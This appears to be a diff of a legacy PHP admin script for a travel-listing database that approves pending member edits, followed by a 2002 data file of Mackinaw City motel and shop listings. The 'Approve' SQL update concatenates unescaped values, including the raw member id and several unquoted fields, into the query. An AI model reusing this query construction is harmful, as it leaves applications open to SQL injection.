+ ."p_phone, text, Phone #|"
+ ."p_toll_free, text, Toll Free #|"
+ ."p_kiosk_phone, text, Phone # for Kiosk|"
+ ."p_fax, text, FAX #|"
+ ."p_email, text, Contact E-Mail Address|"
+ ."p_proc_email, text, Processing E-Mail Address|"
+ ."p_url, text, Web Site URL|"
+ ."p_descr, text, Description|"
+ ."p_image1, image.t, Image #1|"
+ ."p_image_text1, text, Image #1 Text|"
+ ."p_image2, image.t, Image #2|"
+ ."p_image_text2, text, Image #2 Text|"
+ ."p_image3, image.t, Image #3|"
+ ."p_image_text3, text, Image #3 Text|"
+ ."p_restnear, checkbox, Restaurant Nearby|"
+ ."p_restaurant, checkbox, Restaurant on site|"
+ ."p_breakfast, checkbox, Breakfast available|"
+ ."p_indoor_pool, checkbox, Indoor Pool|"
+ ."p_outdoor_pool, checkbox, Outdoor Pool|"
+ ."p_whirlpool, checkbox, Whirlpool|"
+ ."p_exercise, checkbox, Exercise Room|"
+ ."p_waterfront, checkbox, Waterfront Location|"
+ ."p_conference, checkbox, Conference Facilities|"
+ ."p_meeting, checkbox, Meeting Facilities|"
+ ."p_tv, checkbox, TV|"
+ ."p_cable, checkbox, Cable available|"
+ ."p_sauna, checkbox, Sauna|"
+ ."p_movies, checkbox, Movies|"
+ ."p_pets, checkbox, Pets Accepted|"
+ ."p_barrierfree, checkbox, Barrier Free|"
+ ."p_beachaccess, checkbox, Sandy Beach Access|"
+ ."p_eff, checkbox, Efficiencies|"
+ ."p_smokefree, checkbox, Smoke Free Rooms|"
+ ."p_credit_cards, bitmap.Visa~Mastercard~Discover~American Express~Diner's Club,
+ Credit Cards Accepted",
+ THIS_SCRIPT,
+ "Member Pending",
+ "member.$member|"
+ ."member_name.$member_name",
+ "",
+ '<P><H2><FONT COLOR="red">Pending</FONT> Member Information</H2>
+ <BR>
+ <TABLE BORDER="1">
+ <TR>
+ <TH ALIGN="right" VALIGN="top">Member</TH>
+ <TD ALIGN="left" VALIGN="top">
+ {name}<BR>
+ {p_address}'.($cd['p_address']!=$cd['address']?'<font color="red"> <--</font>':'').'<BR>
+ {p_city}'.($cd['p_city']!=$cd['city']?'<font color="red"> <--</font><br>':'').', {p_state}'.($cd['p_state']!=$cd['state']?'<font color="red"> <--</font><br>':'').'
+ {p_zip}'.($cd['p_zip']!=$cd['zip']?'<font color="red"> <--</font><br>':'').' {p_country}'.($cd['p_country']!=$cd['country']?'<font color="red"> <--</font>':'').'
+ </TD>
+ <TD ALIGN="center">
+ <TABLE BORDER="0">
+ <TR><TH>Member Type</TH><TD>{memb_type}</TD></TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TH ALIGN="right" VALIGN="top">Contact Information</TH>
+ <TD ALIGN="left">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Phone:</TH><TD>{p_phone}'.($cd['p_phone']!=$cd['phone']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="left">Toll Free:</TH><TD>{p_toll_free}'.($cd['p_toll_free']!=$cd['toll_free']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="left">Phone # for Kiosk:</TH><TD>{p_kiosk_phone}'.($cd['p_kiosk_phone']!=$cd['kiosk_phone']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="left">FAX:</TH><TD>{p_fax}'.($cd['p_fax']!=$cd['fax']?'<font color="red"> <--</font>':'').'</TD></TR>
+ </TABLE><BR>
+ </TD>
+ <TD>
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="left">Contact E-Mail:</TH><TD><A HREF="mailto:{p_email}">{p_email}</A>'.($cd['p_email']!=$cd['email']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="left">Proc. E-Mail:</TH><TD><A HREF="mailto:{p_proc_email}">{p_proc_email}</A>'.($cd['p_proc_email']!=$cd['proc_email']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="left">Web Site:</TH><TD><A HREF="{p_url}">{p_url}</A>'.($cd['p_url']!=$cd['url']?'<font color="red"> <--</font>':'').'</TD></TR>
+ </TABLE><BR>
+ </TD>
+ </TR>
+ <TR>
+ <TH ALIGN="right" VALIGN="top">Description</TH>
+ <TD COLSPAN="2">'.($cd['p_descr']!=$cd['descr']?'<font color="red"> --></font>':'').'{p_descr} </TD>
+ </TR>
+ <TR>
+ <TH ALIGN="right" VALIGN="top">Images</TH>
+ <TD ALIGN="center" COLSPAN=2>
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR>
+ <TD><CENTER>'.($cd['p_image1']!=$cd['image1']?'<font color="red"> --></font>':'').'Image #1<BR>{p_image1}<BR></CENTER>'.($cd['p_image_text1']!=$cd['image_text1']?'<font color="red"> --></font>':'').'{p_image_text1}</TD>
+ <TD><CENTER>'.($cd['p_image2']!=$cd['image2']?'<font color="red"> --></font>':'').'Image #2<BR>{p_image2}<BR></CENTER>'.($cd['p_image_text2']!=$cd['image_text2']?'<font color="red"> --></font>':'').'{p_image_text2}</TD>
+ <TD><CENTER>'.($cd['p_image3']!=$cd['image3']?'<font color="red"> --></font>':'').'Image #3<BR>{p_image3}<BR></CENTER>'.($cd['p_image_text3']!=$cd['image_text3']?'<font color="red"> --></font>':'').'{p_image_text3}</TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR><TR>
+ <TD COLSPAN="3" ALIGN="center"><TABLE BORDER="0" WIDTH="100%"><TR>
+ <TD ALIGN="center" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="right" VALIGN="top">Credit Cards:</TH><TD>'.($cd['p_credit_cards']!=$cd['credit_cards']?'<font color="red"> (card selection changed)</font><br>':'').'{p_credit_cards}</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="center" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="right">Restaurant Nearby:</TH><TD>{p_restnear}'.($cd['p_restnear']!=$cd['restnear']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Restaurant:</TH><TD>{p_restaurant}'.($cd['p_restaurant']!=$cd['restaurant']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Breakfast:</TH><TD>{p_breakfast}'.($cd['p_breakfast']!=$cd['breakfast']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Indoor Pool:</TH><TD>{p_indoor_pool}'.($cd['p_indoor_pool']!=$cd['indoor_pool']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Outdoor Pool:</TH><TD>{p_outdoor_pool}'.($cd['p_outdoor_pool']!=$cd['outdoor_pool']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Whirlpool:</TH><TD>{p_whirlpool}'.($cd['p_whirlpool']!=$cd['whirlpool']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Exercise Room:</TH><TD>{p_exercise}'.($cd['p_exercise']!=$cd['exercise']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Waterfront:</TH><TD>{p_waterfront}'.($cd['p_waterfront']!=$cd['waterfront']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Conference:</TH><TD>{p_conference}'.($cd['p_conference']!=$cd['conference']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Meeting:</TH><TD>{p_meeting}'.($cd['p_meeting']!=$cd['meeting']?'<font color="red"> <--</font>':'').'</TD></TR>
+ </TABLE>
+ </TD>
+ <TD ALIGN="center" VALIGN="top">
+ <TABLE BORDER="0" WIDTH="100%">
+ <TR><TH ALIGN="right">TV:</TH><TD>{p_tv}'.($cd['p_tv']!=$cd['tv']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Cable:</TH><TD>{p_cable}'.($cd['p_cable']!=$cd['cable']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Sauna:</TH><TD>{p_sauna}'.($cd['p_sauna']!=$cd['sauna']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Moview:</TH><TD>{p_movies}'.($cd['p_movies']!=$cd['movies']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Pets:</TH><TD>{p_pets}'.($cd['p_pets']!=$cd['pets']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Barrier Free:</TH><TD>{p_barrierfree}'.($cd['p_barrierfree']!=$cd['barrierfree']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Sandy Beach Access:</TH><TD>{p_beachaccess}'.($cd['p_beachaccess']!=$cd['beachaccess']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Efficiencies:</TH><TD>{p_eff}'.($cd['p_eff']!=$cd['eff']?'<font color="red"> <--</font>':'').'</TD></TR>
+ <TR><TH ALIGN="right">Smoke Free Rooms:</TH><TD>{p_smokefree}'.($cd['p_smokefree']!=$cd['smokefree']?'<font color="red"> <--</font>':'').'</TD></TR>
+ </TABLE>
+ </TD>
+ </TD></TR></TABLE>
+ </TR>
+ </TABLE>
+ '
+ );
+
+ break;
+
+ case "Approve": // Approve Pending Member Data
+
+ $d = db_auto_get_row( "SELECT * FROM member WHERE id = $member;", 0, SI_CONN_STR, FALSE );
+
+ // Delete any images that may be active
+
+ if( !empty($d["image1"]) ) delete_image( $d["image1"] );
+ if( !empty($d["image2"]) ) delete_image( $d["image2"] );
+ if( !empty($d["image3"]) ) delete_image( $d["image3"] );
+
+ // Swap data fields
+
+ db_auto_exec( "UPDATE member
+ SET p_address = '',
+ address = '".addslashes($d["p_address"])."',
+ city = '".addslashes($d["p_city"])."',
+ state = '".addslashes($d["p_state"])."',
+ zip = '".addslashes($d["p_zip"])."',
+ country = '".addslashes($d["p_country"])."',
+ phone = '".addslashes($d["p_phone"])."',
+ toll_free = '".addslashes($d["p_toll_free"])."',
+ kiosk_phone = '".addslashes($d["p_kiosk_phone"])."',
+ fax = '".addslashes($d["p_fax"])."',
+ email = '".addslashes($d["p_email"])."',
+ proc_email = '".addslashes($d["p_proc_email"])."',
+ url = '".addslashes($d["p_url"])."',
+ descr = '".addslashes($d["p_descr"])."',
+ image1 = '".$d["p_image1"]."',
+ image_text1 = '".addslashes($d["p_image_text1"])."',
+ image2 = '".$d["p_image2"]."',
+ image_text2 = '".addslashes($d["p_image_text2"])."',
+ image3 = '".$d["p_image3"]."',
+ image_text3 = '".addslashes($d["p_image_text3"])."',
+ restnear = '".$d["p_restnear"]."',
+ restaurant = '".$d["p_restaurant"]."',
+ breakfast = '".$d["p_breakfast"]."',
+ indoor_pool = '".$d["p_indoor_pool"]."',
+ outdoor_pool = '".$d["p_outdoor_pool"]."',
+ whirlpool = '".$d["p_whirlpool"]."',
+ exercise = '".$d["p_exercise"]."',
+ waterfront = '".$d["p_waterfront"]."',
+ conference = '".$d["p_conference"]."',
+ meeting = '".$d["p_meeting"]."',
+ tv = '".$d["p_tv"]."',
+ cable = '".$d["p_cable"]."',
+ sauna = '".$d["p_sauna"]."',
+ movies = '".$d["p_movies"]."',
+ pets = '".$d["p_pets"]."',
+ barrierfree = '".$d["p_barrierfree"]."',
+ beachaccess = '".$d["p_beachaccess"]."',
+ eff = '".$d["p_eff"]."',
+ smokefree = '".$d["p_smokefree"]."',
+ credit_cards = ".$d["p_credit_cards"]."
+ WHERE id = $member;",
+ SI_CONN_STR, FALSE );
+
+ echo '<CENTER>
+ <P><H2><FONT COLOR="red">Pending</FONT> Member Information Made Active</H2><BR>
+ </CENTER>
+ ';
+
+ debug_mail( $d["email"], SI_CUSTOMER_NAME." Member Data Approval Notice",
+ "\n"
+ ."You on-line ".SI_CUSTOMER_NAME." information has been updated.\n\n"
+ ."Member name: ".$d["name"]
+ ."\n\n" );
+
+ break;
+
+ }
+ break;
+
+
+
+ default:
+ echo ' <TABLE BORDER="0" HEIGHT="100%" WIDTH="100%">
+ <TR VALIGN="middle">
+ <TD ALIGN="center">
+ <P>
+ <H2>Gaslight Media</H2>Travel Industry Data System Administration
+ </TD>
+ </TR>
+ </TABLE>
+ ';
+ break;
+
+
+ }
+
+
+echo '
+</div>
+</BODY>
+</HTML>
+';
+
+?>
--- /dev/null
+1 11 1 t Mackinaw Pastie & Cookie Co. The Pastie Specialist 514 South Huron Mackinaw City MI 49701 US 231-436-5113 www.mackinawpastie.com "Delicious Handmade Cornish pasties and cookies, always prepared and baked fresh daily in our kitchen" 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+2 1 6 t Vindel Motel "223 W. Central Avenue, P.O. Box 621" Mackinaw City MI 49701 US 231-436-5273 800-968-5273 231-436-7326 www.vindelmotel.com "Open all Year. Quiet setting with comfort & style. Short walk to ferries, fort, shopping, churches, restaurants, & high school. Located at Big Mac Snowmobile Trail." 12/12/02 12/12/02 f t f f f f f f f f f f f f t
+4 1 6 t Kings Inn 1020 S. Nicolet Mackinaw City MI 49701 US 231-436-5322 888-810-5322 www.kingsinnmackinawcity.com "Very clean rooms! Coffee, heated pool, and playground are all included in our reasonable prices. Walking distance to ferrys to Mackinac Island. Heated outdoor pool, jacuzzi suite, continental breakfast, cable TV with HBO & ESPN. Small pets accepted. Senior and AAA discounts awarded." kings.jpg 12/12/02 12/12/02 f t f f f f f f t f f f f f f
+7 1 6 t Capri Motel "801 S. Nicolet Ave., " Mackinaw City MI 49701 US 231-436-5498 231-436-7328 capri@freeway.net WWW.michigantraveler.com/capri.html "27 ground level units. Parking in front of your door. Near ferry dock, restaurants, and shopping area. Across from the Travel Information Center. Free shuttle to boat docks. Free coupon books. Adjacent to Snowmobile Trail." 12/12/02 12/12/02 f t f f f f f f f f f f f f t
+307 1 10 t The Shores at Mackinaw 10900 US 23 Mackinaw City MI 49701 US 231-436-1000 877-9-SHORES www.theshoresatmackinaw.com "New for 2001! Luxurious lakefront condominiums located in Mackinaw City. One, two and three bedroom uinits available year-round. Fully furnished, walking trails, outdoor heated pool (under construction) and beach. For reservations & availability call 877-9-SHORES. " 12/12/02 12/12/02 t f f f t f f f f f f f f f f
+335 6 1 t SPAGS Next Door 113 N. Huron Avenue Mackinaw City MI 49701 US 231-436-5309 "Enter on Huron or Langlade Street, located next door to the bakery for unique gifts, cards, specialty foods, home decor and collectibles. Our friendly and helpful staff will help you select that special something or create a basket for any occasion. The gift registry, gift wrap & shipping service will insure that each gift will please." acf5a4.jpg 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+8 1 6 t Anchor Inns 138 US 31 Mackinaw City MI 49701 US 231-436-5553 www.anchorbudgetinn.com "32 new units in 2001indoor pool and game room. Within walking distance to restaurants and Island Ferry docks. Member AAA, WMTA. Exit #338 Southbound. Exit #337 Northbound." acf88c.jpg 12/12/02 12/12/02 t f t f f f f f t f f f f f f
+9 1 6 t Beachcomber Motel - On The Water 1011 S. Huron Ave. Mackinaw City MI 49701 US 231-436-8451 800-968-1383 www.mackinawcity.com/lodging/beachcomber Excellent view of Bridge & Island. Clean housekeeping cottage on lake. Lakefront units with king and queen beds. In-room jacuzzi units. Owner operated and very clean. beachcomber.jpg 12/12/02 12/12/02 f f f f t f f f f f f f f f f
+10 1 4 t Beach House 11490 US 23 South Mackinaw City MI 49701 US 231-436-5353 800-262-5353 www.mackinawcity.com/beachhouse Modern cottages on the Straits. Some kitchenettes - no utensils. Complimentary A.M. coffee and homemade muffins. 12/12/02 12/12/02 t f t f t f f f f f f f f f f
+11 1 6 t Bell's Melody 11470 W. US 23 Mackinaw City MI 49701 US 231-436-5463 800-334-7280 231-436-7429 www.bellsmelodymotel.com "Lakefront resort with ""Spectacular"" Bridge & Island Private sandy beach, picnic and play area, firepits and grills. Htd indoor-outdoor pool with large sundeck and spa. Some microwaves, refrigerators and private waterfront decks. C/CTV w/remotes. Free Continental Breakfast.." 12/12/02 12/12/02 t t t f t f f f f f f f f f f
+12 1 6 t Best Western Dockside Waterfront 505 S. Huron Ave. Mackinaw City MI 49701 US 231-436-5001 800-774-1794 www.mackinaw-city.com/lodging/bestwesterndockside/index.htm "Mackinaw's finest. Situated on the beautiful Straits of Mackinac. Free Breakfast. Next to shopping, restaurants, ferry boats, and city marina. Sandy beach, private balconies with lake view. Elevator for easy access. " acf182.jpg 12/12/02 12/12/02 t f t t t f f f t f f f f f f
+13 1 6 t Best Western Mackinaw City 112 Old US 31 Mackinaw City MI 49701 US 231-436-5544 800-647-8286 www.mackinawcity.com/bestwestern/ "Free Breakfast Bar! In room refrigerators, coffee makers, ironing board & irons, hair dryers & laundry mat. Close to Restaurants, Mackinac Island Ferries and shopping. Member !!!. AAA 3 Diamond" 12/12/02 12/12/02 t f t f f f f f t f f f f f f
+14 1 6 t Best Western Thunderbird Inn 146 U.S. 31 Mackinaw City MI 49701 US 231-436-5433 800-633-1515 www.mackinawcity.com/lodging/bwthunderbird "50 Rooms, King and queen beds. Deluxe jacuzzi rooms, bridal suites, hair dryers, refrigerators, & playground. One block to restaurants and Mackinac Island Ferry Docks. 3 diamond AAA rated." 12/12/02 12/12/02 t f t f f f f f t f f f f f f
+15 1 6 t Bel-Aire Motel 150 Old US 31 Mackinaw City MI 49701 US 231-436-5733 "The Mackinaw City Bel Aire Motel is located off I-75 exit 337 going north; exit 338 going south; on US 23, 31. We are situated in the heart of America's Great Lakes vacationland with all the beauty and sport it has to offer. During your stay with us you'll find 46 well appointed rooms on two floors. Start your morning with complimentary coffee in the lobby. Take a relaxing swim in our beautiful outdoor and indoor swimming pool, with whirlpool. The children will have great fun in the spacious playground. Free local calls, free movies (HBO, ESPN, CNN), some rooms have in-room jacuzzis available. Come and enjoy our relaxing hotel at a great price." belaire.jpg 12/12/02 12/12/02 t t t f f f f f f f f f f f f
+16 1 6 t Chief Motel US 23 Hwy Mackinaw City MI 49701 US 231-436-7981 800-968-1511 www.mackinawcity.com/lodging/chiefmotel/ Private beach with full view of Bridge & Island. One mile southeast of mackinaw City on Lake Huron. Picnic area with gas grills. Parking at your door. 12/12/02 12/12/02 f t f f t f f f f f f f f f f
+17 1 6 t Chippewa Motor Lodge "929 S. Huron Avenue, P.O. Box 518" Mackinaw City MI 49701 US 231-436-8661 800-748-0124 www.largestbeach.com/prod01.html "Lakefront rooms w/ balconies overlooking Lake Huron, family units & cabin. Large private beach, picnic area & play area, indoor pool w/waterfalls & innertubes, spa & sundeck. One block to ferry. " chippewa.jpg 12/12/02 12/12/02 t f t f t f f f t f f f f f f
+18 1 6 t Budget Host Mackinaw City 517 N. Huron Avenue Mackinaw City MI 49701 US 231-436-5543 877-864-3227 budhost@voyager.net www.mackinawcity.com/lodging/budgetmackinaw/ "Located on quiet shaded grounds overlooking the Straits of Mackinac & Big Mac Bridge. 1000' of Pristine Straits Beach across the road. Sparkling outdoor pool heated to 85 degrees. Quiet, Inviting, well-appointed guestrooms. Personalized Service. Luxury Queens featuring canopy beds & victorian ambiance. Deluxe and standard rooms also available. Park your car and relax. Within walking distance to shopping, dining, ferries and attractions." acfa25.jpg 12/12/02 12/12/02 f t f f f f f f f f f f f f f
+19 1 6 t Baymont Inn & Suites 109 S. Nicolet St. Mackinaw City MI 49701 US 231-436-7737 800-301-0200 www.baymontmackinaw.com " 80 Rooms adjacent to Mackinaw Crossings, a new shopping and entertainment complex in downtown Mackinaw City. Walking distance to all activities. Interior Corridors, Elevator for easy access." 12/12/02 12/12/02 t f t t f f t f t f f f f f t
+20 1 6 t Clear Water Lakeshore Motel 11380 U.S. 23 P.O. Box 327 Mackinaw City MI 49701 US 231-436-7800 800-232-3850 www.mackinawcityclearwater.com "On the shores of lake Huron, with fantastic view of Mackinac Bridge & Island. Heated indoor pool with spa. Bridge view rooms, some 2 & 3 bedroom, kitchen units and some in room jacuzzi's." clearwater.jpg 12/12/02 12/12/02 t f t f t f f f t f f f f f f
+21 1 6 t Comfort Inn Lakeside 611 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5057 800-228-5150 www.comfortinnmackinaw.com/ "Lakefront Inn. AAA 3 Diamond Sitiuated on the beautiful Straits of Mackinac. Walking distance to Mackinaw Crossings and Central Ave. Close to shopping, restaurants, ferry boats and city marina. Sandy beach, private balconies on waterfront.Indoor pool and whirlpool. Deluxe Continental Breakfast." 12/12/02 12/12/02 t f t f t f f f t f f f f f f
+22 1 6 t Days Inn - Lakeview 825 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5557 800-Days Inn. 231-436-5703 www.waterviewhotels.com/mackinaw/index.php Three Diamond Award Winner from AAA and Chairmen's Award Winner from Days Inn. Mackinaw's ONLY full service Lakeview property. Ferry to Mackinac Island from rear of property. 12/12/02 12/12/02 t f t f t f f t f f f f f f f
+23 1 6 t Downing's Downtown Motor Inn 202 E. Central Avenue Mackinaw City MI 49701 US 231-436-5528 800-695-5528 "42 unit Victorian styled lodging facitlity with adjoining pool & spa. Located downtown. All within walking distance of Island boat docks, shops, restaurants, & Colonial Michilimackinac. Next to CourtYards of Mackinaw. Free coupons." 12/12/02 12/12/02 t f t f f f f f f f f f f f t
+24 1 6 t EconoLodge - At the Bridge 412 Nicolet St. Mackinaw City MI 49701 US 231-436-5026 800-55-ECONO econoldg@mackinawcity.com www.econolodge.com/hotel/mi098 Open all Year. Located at the beautiful Mackinac Bridge. Within walking distance of most area attractions. Park at your door. Walk to ferries or ride the free shuttle. Only one block from Mackinaw City's public parks located on Lake Huron. 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+25 1 6 t Super 8 Motel Beachfront 519 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5766 888-497-0103 Luxurious lakefront units with private balconies. Indoor heated pool with spa & sauna. Private sandy swimming beach - adjacent to ferry docks & restaurants. Honeymoon suites w/ jacuzzi. AAA 3 diamond . acf8f6.jpg 12/12/02 12/12/02 t f t f t f f f f f f f f f f
+26 1 6 t Hamilton Inn Select - Beachfront 701 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5493 800-301-1765 www.mackinaw-city.com/lodging/hamiltoninnselect/index.htm "Open all Year. Free Hot Breakfast. Near shopping, restaurants, ferry boats & city marina. Sandy beach, private balconies with lake view. Elevator for easy access. Playground, game room and sun deck. Indoor corridors." acfa29.jpg 12/12/02 12/12/02 t f t t t f t t t f f f f f t
+27 1 6 t Holiday Inn Express At the Bridge 364 Louvingney Mackinaw City MI 49701 US 231-436-7100 1-888-497-0102 www.mackinawcity-mi.com "NEW ROOMS*NEW LOOK*HOSPITALITY AT ITS FINEST. Open all Year. Complimentary breakfast bar. interior corridor, Indoor heated pool, whirlpool & sauna, All new Mackinaw Club level, 1 & 2 room suites. Elevator, walk to shops/attractions & restarurants. HBO/CNN/ESPN, free local calls." 12/12/02 12/12/02 t f t t f f f f t f f f f f t
+29 1 6 t Lighthouse View Motel 699 N. Huron Avenue Mackinaw City MI 49701 US 231-436-5304 800-729-0998 www.lighthouseviewmotel.com "Family motel located on Scenic North Huron Ave. directly across from Mackinaw Pointe Lighthouse and Lakeshore Park. Close to Mackinaw Crossings & Center Stage Theatre Complex, Shopping, Restaurants, and Island Boat Docks." 12/12/02 12/12/02 t f t f f f f f f f f f f f f
+30 1 6 t Lamplighter Motel 303 E. Jamet St. Mackinaw City MI 49701 US 231-436-5350 lamplighter@triton.net www.lamplightermotel.com "Locted in the heart of Mackinaw's residential district. Our rooms are clean, comfortable, well away from the busy main street, but within walking distance to everything unique to Mackinaw. We offer single units and units with 2 bedrooms and theme rooms." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+31 1 4 t Mackinac Motor Lodge & Resort 10346 S. US 23 Hwy. Mackinaw City MI 49701 US 231-436-5741 mmlr@freeway.net "Sixteen modern cottages on the shores of beautifual Lake Huron with a magnificant view of Mackinac Bridge & Mackinac Island. Eight cottages with fully equipped kitchenettes, pans, dishes, towels & bedding. Picnic tables by each cottage, horseshoes, volleyball, tetherball, basketball, swings, beach toys for the little ones. 400' of sandy beach. Free morning coffee and bonfire in the evening. A quiet county setting yet only 3 minutes to the ferries. Your hosts: Archie & Donna Falor. 1 1/2 miles from Mackinaw City. SORRY NO PETS" acf225.jpg 12/12/02 12/12/02 f f f f t f f f f f f f f f f
+32 1 6 t Motel 6 Downtown Mackinaw 206 N. Nicolet St. Mackinaw City MI 49701 US 231-436-8961 1-888-497-0104 www.lovelandhotels.com/motel6-mc/index.html "(We'll leave the light on for you!) 53 units at the foot of Mackinac Bridge. Indoor heated pool and spa, sundeck, jacuzzi suites, HBO. Walking distance to attractions, restaurants and ferry docks Free shuttle service. " 12/12/02 12/12/02 t f t f f f f f f f f f f f f
+33 1 4 t Nicolet Inn 725 S. Nicolet Ave. Mackinaw City MI 49701 US 231-436-7311 800-437-7817 www.nicoletinn.com "Front door Parking. 1, 2, & 3 room units. Queen Beds available, refrigerators, & kitchnettes available.Close to shopping & ferry docks. Restaurant & Hair Salon on Premises. Across from Travel Information Center." 12/12/02 12/12/02 f f f f f f f f f f f f f f f
+34 1 6 t Northwinds Motel 11472 W. US 23 Mackinaw City MI 49701 US 231-436-7434 800-898-5017 231-436-7429 www.northwindsmotel.com "On the water with ""Fabulous"" Bridge & Island view. Private sandy beach, grills and firepit, heated indoor-outdoor pool with large sundeck & spa. Some rooms with microwaves, refrigerators and private waterfront decks. Cable TV with HBO and remotes. Free Continental Breakfast." 12/12/02 12/12/02 t t t f t f f f f f f f f f f
+35 1 6 t Parkside Inn Bridgeside 771 N. Huron Avenue Mackinaw City MI 49701 US 231-436-8301 800-827-8301 www.parksideinn.com "Newest Lakeview Inn located at the foot of Mackinac Bridge. Bridge / Lake & Parkview Rooms w/ Private Balconies. Elevator for easy access. Large Family Rooms with refrigerators, largest indoor pool,spa, fitness & game room. Near Mackinaw Crossings, restaurants, and ferry docks. Free deluxe breakfast bar. AAA 3 Diamond " acf8eb.jpg 12/12/02 12/12/02 t f t t f f f f t f f f f f f
+36 1 6 t Quality Inn & Suites 917 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5051 877-436-5051 www.mackinacsuites.com "Lakefront rooms, Breakfast Room, Elevator, balconies, view of Island and Bridge, 2-room units, private patios. Ferry docks and restaurants near." 12/12/02 12/12/02 t f t f t f f f t f f f f f f
+37 1 6 t Rainbow Motel 602 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5518 800-888-6077 www.mackinawcity.com/lodging/rainbow "29 first floor units. Walking distance to shops & restaurants. 1 block to Mackinac Island Ferry Dock. 2 blocks from Mackinaw Crossings, Live Theatre & Laser Light Show." 12/12/02 12/12/02 t f t f f f f f f f f f f f f
+38 1 6 t Ramada Limited Waterfront 723 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5055 1-888-852-4165 Ramadaltd@triton.net www.ramada.com "Lakefront, Sideview and Courtside rooms all with private balconies and refrigerators. Borders two Mackinac Island ferries. Interior corridor with indoor pool and two whirlpools. Expanded continental breakfast, elevator, and sandy beach." 12/12/02 12/12/02 t f t f t f f f t f f f f f f
+39 1 6 t Ramada Inn - Convention Center 450 Nicolet St. Mackinaw City MI 49701 US 231-436-5535 800-2-Ramada www.ramadanorth.com "The only full service Hotel & Convention Center in Mackinaw City. Family restaurant and Sports Bar on premise. Free shuttle to Mackinac Island Ferry Docks and Casino. Full service Convention Center to accomdate any meeting, banquet or wedding reception up to 350 people with 4 break out rooms." 12/12/02 12/12/02 t f t f f t t t f f f f t f f
+40 1 6 t Riviera Motel 520 N. Huron Avenue Mackinaw City MI 49701 US 231-436-5577 www.mackinawcity.com/lodging/riviera "Spectacular view of the Mackinac Bridge and Straits from your room or outside. Walking distance to attractions, restaurants & island ferries. Discount Coupons available. " 12/12/02 12/12/02 f t f f t f f f f f f f f f f
+41 1 6 t Econolodge Bayview 712 S. Huron Avenue Mackinaw City MI 49701 US 231-436-5777 800-253-7216 www.mackinaw-city.com/lodging/econolodge/index.htm "Ferry docks & restaurants conveniently located across the street. Walk only 3 blocks to visit Mackinaw Crossings & Theatre. Motel units & private chalet/suites,indoor pool, sauna & whirlpool. Group rates available. Beach access. Mini Golf on Premise." acfa27.jpg 12/12/02 12/12/02 t f t f f f f f t f f f f f f
+42 1 6 t Starlite Budget Inns 116 Old US 31 Mackinaw City MI 49701 US 231-436-5959 800-288-8190 www.starlitebudgetinns.com "33 gound-level rooms; connecting, non-smoking, barrier free & two room units. indoor pool & spa, large grassy playground with picnic tables. Walking distance to Island Ferry docks, shops & restaurants. Large parking area. Game room & Snack Room. " acf88a.jpg 12/12/02 12/12/02 t f f f f f f f t f f f f f f
+43 1 6 t Super 8 Motel Bridgeview 601 N. Huron Avenue Mackinaw City MI 49701 US 231-436-5763 888-497-0101 "All new log cabin Hotel w/ private balconies, Bridge and Lake view rooms. Elevator, indoor heated spa and sauna, free continental breakfast. Walking distance to attractions, restaurants, & ferries to Island, w/ free shuttle to docks. " acf8fb.jpg 12/12/02 12/12/02 t f t f f f f f f f f f f f f
+44 1 6 t Grand Mackinaw Inn & Suites - Beachfront 907 S. Huron Avenue Mackinaw City MI 49701 US 231-436-8831 800-822-8314 surf@freeway.net www.grandmackinaw.com "New & totally smoke free, 47 Deluxe Waterfront rooms w/private balconies on 200' of a spectacular private beach, overlooking the Straits of Mackinac; in-room Jacuzzi's, 2 or 3 bedroom units. Refrigerators . Inroom coffee available. 1block south of Arnold Ferry & 3/4 mile S. of Mackinaw Crossings. " acf8ed.jpg 12/12/02 12/12/02 t f t f t f f f t f f f f f f
